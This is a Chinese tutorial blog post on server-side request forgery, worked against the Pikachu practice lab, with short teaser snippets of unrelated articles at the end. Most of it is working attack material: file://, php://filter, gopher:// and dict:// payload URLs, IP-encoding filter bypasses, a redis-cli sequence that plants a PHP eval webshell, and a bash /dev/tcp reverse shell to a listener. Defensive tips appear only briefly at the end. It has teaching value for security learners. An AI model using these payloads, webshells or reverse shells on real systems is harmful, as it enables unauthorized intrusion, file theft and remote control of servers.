SSRF攻击(服务端请求伪造)

news2024/11/18 16:48:38

1.SSRF(服务端请求伪造)原理

概念:是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF是要目标网站的内部系统。(因为他是从内部系统访问的,所有可以通过它攻击外网无法访问的内部系统,也就是把目标网站当中间人)
原理:参数给变量未经过滤,使用了不安全的函数curl_init   、 file_get_contents、 fsockopen,这三个函数支持过滤协议,通过过滤协议读对方的文件,探测端口等

2.SSRF漏洞可以利用的用途
    

1)可以对外网、服务器所在的内网、本地进行端口扫描,获取一些服务器的banner(指纹信息)信息
2)对内网的web进行指纹识别,通过访问默认文件实现
3)利用file协议读取本地文件
4)攻击运行在内网或本地的应用程序(比如溢出)
5)攻击内外网的web应用,主要是使用get参数就可以实现的攻击(比如struts2 sqli等) 

3.SSRF攻击结果由函数本身来决定,函数的功能越强大,攻击的成功的几率就越大curl_init   、 file_get_contents、 fsockopen(白盒测试,代码审计)

4.协议

  •  file协议的运用

     读取文件(可以获取敏感文件的信息)

 http://10.0.0.130:91/pikachu/vul/ssrf/ssrf_curl.php?url=file:///c:/1.txt

判断是否为php
  http://10.0.0.130:91/pikachu/vul/ssrf/ssrf_fgc.php?file=php://filter/read=convert.base64-encode/resource=ssrf.php

  • gopher协议的运用(万金油)

 发送各种格式的请求包

在这里只能改为Post提交,还可以使用gopher协议

利用函数,可以使用get访问
http://10.0.0.130:91/pikachu/vul/ssrf/ssrf_curl.php?url=gopher://10.0.0.130:91%20/_POST%20/sql.php%20HTTP/1.1%250d%250aHost:%2010.0.0.130:91%250d%250aUser-Agent:%20curl/7.43.0%250d%250aAccept:%20*/*%250d%250aContent-Type:%20application/x-www-form-urlencoded%250d%250a%250d%250aid=1

  • dict协议应用

字典服务器协议

http://10.0.0.130:91/pikachu/vul/ssrf/ssrf_curl.php?url=dict://10.0.0.130:3306/info  获取服务器端口运行的版本信息 

5.redis(6379)未授权访问漏洞(redis写webshell)

  • 搭建redis

 上传文件到root目录下

        cd redis-6.0.16/

 make
 cd src

 cp redis-server /usr/bin

 cd ..
cp redis.conf /etc

vi /etc/redis.conf   修改配置文集   允许任何人访问

改为no 

  redis-server /etc/redis.conf    启动

检查进程  

 测试是否运行 redis-cli  -h 10.0.0.130  -p 6379
  另一台机器(同样安装)

  •     Linux写webshell条件

        1、在攻击机上能用redis-cli连上;(将127.0.0.1改为0.0.0.0)客户端
         2、开了web服务器,并且知道路径(如利用phpinfo,或者错误爆路经)
        3、目录还需要具有文件写入权限

  •  Linux写入webshell (知道物理路径)  写入语句
 redis-cli  -h 192.168.56.131 -p 6379
 config set dir /var/www/html    限制路径
 config set dbfilename shell.php   设置名字
 set webshell "\n\n\n<?php @eval($_POST['shell']);?>\n\n\n"  写木马
 save    保存

写入webshell时需要使用换行,因为redis写入文件的时候会自带一些版本信息,不换行可能会导致无法执行。
1)同时打开kali  输入:pwd查找当时路径

 2)输入命令查询:ls

 3)切换路径:cd /var/www/html 

4)查询:ls

5)查看命令:cat  shell.php

 启动apache    service apache2 start 
 netstat -lnt    查看端口

   访问apache  

网站测试:http://10.0.0.130/shell.php

 蚁剑连接木马:http://192.168.56.131/shell.php(或者菜刀)

不知道物理路径直接bash反弹

 nc.exe -lvvp 7778

bash -i >& /dev/tcp/192.168.13.249/7778    centos 7
 nc.exe

   正向连接攻击者连接受害者,反向连接受害者连接攻击者 

6.如何挖到SSRF漏洞(黑盒测试)?
    

    1)分享:通过url地址分享网页的内容(例如拼多多,改一下地址)
    2)转码服务
    3)在线翻译
    4)图片加载与下载;通过url地址加载与下载图片
    5)图片、文章收藏功能
    6)未公开的api实现与其他调用得url的功能
    7)从url关键词来查找
        share,wap,url.link.src,source,target,display
        sourceURL,imageURL,domain,u,3g 

7.绕过方法
    

  •     更改IP地址的写法

        8进制
            8进制格式:0300.0250.0.1
        16进制
            16进制格式:0xC0.0xA8.0.1
        10进制
            10进制整数格式:3232235521

  •     利用解析URL出现的问题(把域名拼接上去,加@符号)

   8.防范方法
    

    1)过滤192.168.0.0/10.0.0.0/172.16.0.0  localhost 私有地址、ipv6地址
    2)过滤file:///    、 dict://   、gopher://   、ftp://、 http://   https://    php:///危险schema
        http://192.168.56.128:91/pikachu/vul/ssrf/ssrf_curl.php?url=file:///c:/1.tx        
    3)白名单过滤
    4)对返回的内容进行识别

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1032441.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

CTF学习路线!最详细没有之一!(建议收藏)

一、CTF入门 最近很多朋友在后台私信我&#xff0c;问应该怎么入门CTF。 个人认为入门CTF之前大家应该先了解到底什么是CTF&#xff0c;而你学CTF的目的又到底是什么; 其次便是最好具备相应的编程能力&#xff0c;若是完全不具备这些能力极有可能直接被劝退。 毕竟比赛的时…

百望云获评ITShare数智未来创新峰会“年度数字化优秀服务商”大奖

近日&#xff0c;百望云应邀出席“新能源-新制造暨汽车数智未来创新峰会”&#xff0c;凭借在数字化领域优秀的服务能力和丰富的落地成果&#xff0c;成功获评“年度数字化优秀服务商”&#xff0c;这也是市场对百望云在赋能企业数字化转型和产品创新领域的再度认可&#xff01…

微信小程序之项目基本结构、页面的基础及宿主环境

文章目录 前言一、基本组成结构基本组成小程序页面的组成部分JSON配置文件作用 二、页面基础pagesWXML和HTML的区别WXSS和CSS的区别小程序中js文件分类 三、小程序宿主环境总结 前言 微信小程序的项目基本结构、页面的基础及宿主环境 一、基本组成结构 基本组成 新建一个微信…

在“百模大战”重生,搜索引擎又行了?

文丨智能相对论 作者丨沈浪 “我想让人们知道&#xff0c;是我们&#xff08;微软&#xff09;让他们&#xff08;谷歌&#xff09;‘跳舞’。” 当加入ChatGPT功能的新一代Bing上线&#xff0c;微软CEO纳德拉就已经按耐不住向谷歌发起了挑战。他认为加入新一代人工智能对搜…

Qt核心:元对象系统、属性系统、对象树、信号槽

一、元对象系统 1、Qt 的元对象系统提供的功能有&#xff1a;对象间通信的信号和槽机制、运行时类型信息和动态属性系统等。 2、元对象系统是 Qt 对原有的 C进行的一些扩展&#xff0c;主要是为实现信号和槽机制而引入的&#xff0c; 信号和槽机制是 Qt 的核心特征。 3、要使…

摩尔信使MThings实用功能盘点

“冗长的用户手册”与“精简的交互设计”之间势必产生一条信息鸿沟&#xff0c;现在就来盘点一下摩尔信使MThings有哪些隐蔽而实用的功能。 01 数据配置类 一键刷新 功能&#xff1a;快速读取所有位数据、寄存器数据的当前数值。 操作&#xff1a;双击“数值”列表头。 一键…

【MySQL】 MySQL的增删改查(进阶)--贰

文章目录 &#x1f6eb;新增&#x1f6ec;查询&#x1f334;聚合查询&#x1f6a9;聚合函数&#x1f388;GROUP BY子句&#x1f4cc;HAVING &#x1f38b;联合查询⚾内连接⚽外连接&#x1f9ed;自连接&#x1f3c0;子查询&#x1f3a1;合并查询 &#x1f3a8;MySQL的增删改查(…

关于JPA +SpringBoot 遇到的一些问题及解决方法

关于JPA SpringBoot 遇到的一些问题及解决方法 一、JpaRepository相关 1.1 org.springframework.dao.InvalidDataAccessResourceUsageException: Named parameter not bound : id; nested exception is org.hibernate.QueryException: Named parameter not bound : id可以…

MobileViT论文记录

论文原文&#xff1a;https://arxiv.org/abs/2110.02178 源码地址&#xff08;pytorch实现&#xff09;&#xff1a;https://github.com/apple/ml-cvnets 前言 MobileVit是由CNN和Transformer混合架构组成的&#xff0c;它利用了CNN的空间归纳偏置[1]和加速网络收敛的优势&a…

【C++面向对象侯捷】11.组合和继承

文章目录 Composition复合&#xff0c;表示has-aDelegation&#xff08;委托&#xff09;&#xff0c;Composition by referenceInheritance继承&#xff0c;表示 is-a Composition复合&#xff0c;表示has-a Delegation&#xff08;委托&#xff09;&#xff0c;Composition b…

数字IC验证高频面试问题整理—附答案(四)

好久没更新面试题目了&#xff0c;不少同学在后台催更&#xff0c;这不就来了~ 共150道验证高频面试题整理~含答案&#xff08;文末可领取全部题目&#xff09; Q1.illegal_bins和ignore_bins命中分别会怎么样&#xff1f;命中是否会计入覆盖率统计 illegal_bins 表示非法的…

activemq部署

目录 1.下载 2.java环境 3.解压启动 4.访问测试 5.问题记录 5.1.无法启动成功问题 5.2.其他服务器无法访问 1.下载 ActiveMQ 2.java环境 需要注意要求的jdk版本&#xff0c;否则启动不会成功 3.解压启动 tar -zxvf apache-activemq-5.18.2-bin.tar.gz 进入到目录下执行…

MATLAB实现相关性分析

目录 一.基本理论 二.两类相关系数的对比 三.相关系数的假设检验 四.MATLAB的相关操作 五.其他有关的一些列技巧 六.案例展示 七.实战操作 一.基本理论 所谓相关系数&#xff0c;本质上是来衡量两组数据的关系大小——对应呈现函数关心的两种变量&#xff0c;那么我们可以…

“信任危机”?VR数字工厂让你沉浸式漫游在工厂里

网上因为“预制菜”的问题吵的沸沸扬扬&#xff0c;企业工厂说预制菜都是经过精心准备和加工的食物&#xff0c;但是更多人还是不信任预制菜的制作&#xff0c;归根结底还是因为信任危机&#xff0c;如果说有这样一个全新的展示方式&#xff0c;可以将工厂加工环境1:1还原复刻在…

vuex如何安装、报错、安装版本注意事项

npm i vuex报错&#xff0c;为什么呢&#xff1f; 在2022.2.7&#xff0c;Vue3就变成了默认版本&#xff0c; Vue2中&#xff0c;必须要用Vuex的3版本 Vue3中&#xff0c;必须要用Vuex的4版本&#xff0c;否则会报错 npm i vuex 安装的就是4版本 如果我们需要安装3版本&…

Spire.OCR for .NET 1.9.0 Crack

Spire.OCR for .NET 是一个专业的 OCR 库&#xff0c;用于从 JPG、PNG、GIF、BMP 和 TIFF 格式的图像中读取文本。开发人员可以轻松地在 C# 和 VB.NET 的 .NET 应用程序中添加 OCR 功能。它支持常用的图像格式&#xff0c;并提供从图像中​​读取多个字符和字体、粗体和斜体样式…

如何将 JavaScript Excel XLSX 查看器添加到Web应用程序

在 JavaScript 中创建 Excel 查看器可能是一项艰巨的任务&#xff0c;但使用 SpreadJS JavaScript 电子表格&#xff0c;创建过程要简单得多。在本教程博客中&#xff0c;我们将向您展示如何使用 SpreadJS 的强大功能来创建一个查看器&#xff0c;该查看器允许您在 Web 浏览器中…

【AI视野·今日CV 计算机视觉论文速览 第251期】Thu, 21 Sep 2023

AI视野今日CS.CV 计算机视觉论文速览 Thu, 21 Sep 2023 Totally 76 papers &#x1f449;上期速览✈更多精彩请移步主页 Interesting: &#x1f4da;FreeU, Diffusion U-Net提升生成模型的质量。(from 南洋理工) Daily Computer Vision Papers DreamLLM: Synergistic Multi…

腾讯面试题:无网络环境,如何部署Docker镜像?

亲爱的小伙伴们&#xff0c;大家好&#xff01;我是小米&#xff0c;很高兴再次和大家见面。今天&#xff0c;我要和大家聊聊一个特别有趣的话题——腾讯面试题&#xff1a;无网络环境&#xff0c;如何部署Docker镜像&#xff1f;这可是一个技术含量颇高的问题哦&#xff01;废…

鼠标移入展示字体操作

鼠标移入展示字体 点击删除实行删除操作&#xff0c;点击图片文字跳转产品详情的逻辑实现 <div class"allProduct-content"><template v-for"(item, index) in obj.product" :key"index"><!-- <img :src"item.image&qu…